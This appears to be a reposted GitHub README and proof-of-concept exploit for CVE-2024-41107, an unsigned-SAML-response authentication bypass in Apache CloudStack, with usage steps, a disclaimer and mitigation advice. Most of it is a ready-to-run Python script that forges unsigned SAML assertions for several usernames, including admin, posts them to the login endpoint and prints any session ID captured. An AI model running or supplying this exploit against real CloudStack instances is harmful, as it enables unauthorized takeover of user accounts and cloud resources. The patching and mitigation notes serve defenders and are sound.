Web CVE-2024-41107 in Apache CloudStack

[blackhunt]

CVE-2024-41107 Exploit

This repository contains an exploit for the critical vulnerability identified as CVE-2024-41107 in Apache CloudStack. This vulnerability affects versions 4.5.0 through 4.18.2.1 and 4.19.0.0 through 4.19.0.2. The flaw lies within the Security Assertion Markup Language (SAML) authentication mechanism, allowing attackers to submit unsigned SAML responses to gain unauthorized access to user accounts and control over cloud resources.

Disclaimer ​

This code is for educational purposes only. Unauthorized access to computer systems is illegal and unethical. Use this information responsibly and within the boundaries of the law.

Features ​

• Exploits the SAML authentication vulnerability in Apache CloudStack
• Bypasses signature checks to gain unauthorized access
• Demonstrates the critical nature of CVE-2024-41107

Requirements ​

• Python 3.x
• requests library
• beautifulsoup4 library

Install the required libraries using:

pip install requests beautifulsoup4

Usage ​

1. Clone the repository:

git clone https://github.com/d0rb/CVE-2024-41107/PoC.git
cd cve-2024-41107-exploit

1. Edit the Exploit Code:

Update the url and saml_response_template variables in exploit.py with the target CloudStack instance and your SAML issuer details.

1. Run the Exploit:

python exploit.py

1. Check the Response:

If successful, the script will print the session ID indicating unauthorized access.

Mitigation ​

To mitigate this vulnerability, users are advised to:

• Disable SAML authentication by setting the saml2.enabled global setting to false.
• Upgrade to the patched versions 4.18.2.2 or 4.19.1.0 released by Apache.
• Review access logs for signs of exploitation.

Poc :

import requests
from bs4 import BeautifulSoup
from datetime import datetime, timedelta
import xml.etree.ElementTree as ET
import base64
import logging

# Setup logging
logging.basicConfig(filename='exploit.log', level=logging.INFO, format='%(asctime)s - %(message)s')

# URL of the login endpoint
url = "http://target-cloudstack-instance.com/client/api"

# Function to generate dynamic SAML response
def generate_saml_response(username):
    issue_instant = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
    not_on_or_after = (datetime.utcnow() + timedelta(hours=1)).strftime('%Y-%m-%dT%H:%M:%SZ')
    
    saml_response = f"""
    <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_8f0d8b57b7b34a1a8f0d8b57b7b34a1a" Version="2.0" IssueInstant="{issue_instant}" Destination="{url}">
        <saml:Issuer>http://your-saml-issuer.com</saml:Issuer>
        <samlp:Status>
            <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <saml:Assertion Version="2.0" ID="_abc123" IssueInstant="{issue_instant}">
            <saml:Issuer>http://your-saml-issuer.com</saml:Issuer>
            <saml:Subject>
                <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">{username}</saml:NameID>
                <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                    <saml:SubjectConfirmationData NotOnOrAfter="{not_on_or_after}" Recipient="{url}"/>
                </saml:SubjectConfirmation>
            </saml:Subject>
            <saml:Conditions NotBefore="{issue_instant}" NotOnOrAfter="{not_on_or_after}">
                <saml:AudienceRestriction>
                    <saml:Audience>{url}</saml:Audience>
                </saml:AudienceRestriction>
            </saml:Conditions>
            <saml:AuthnStatement AuthnInstant="{issue_instant}" SessionIndex="_abc123">
                <saml:AuthnContext>
                    <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>
                </saml:AuthnContext>
            </saml:AuthnStatement>
        </saml:Assertion>
    </samlp:Response>
    """
    return base64.b64encode(saml_response.encode('utf-8')).decode('utf-8')

# List of usernames to attempt access
usernames = ["user1@example.com", "user2@example.com", "admin@example.com"]

# Function to attempt login with SAML response
def attempt_login(saml_response):
    data = {
        "command": "samlSsoLogin",
        "SAMLResponse": saml_response
    }
    response = requests.post(url, data=data)
    
    if response.status_code == 200:
        soup = BeautifulSoup(response.text, 'html.parser')
        session_id = soup.find('sessionid')
        if session_id:
            logging.info(f"Login successful, session ID: {session_id.text}")
            print(f"Login successful, session ID: {session_id.text}")
        else:
            logging.info("Login failed, no session ID found in response.")
            print("Login failed, no session ID found in response.")
    else:
        logging.info(f"Login failed, status code: {response.status_code}")
        print(f"Login failed, status code: {response.status_code}")

# Attempt login for each username
for username in usernames:
    saml_response = generate_saml_response(username)
    attempt_login(saml_response)

Source Github : https://github.com/d0rb/CVE-2024-41107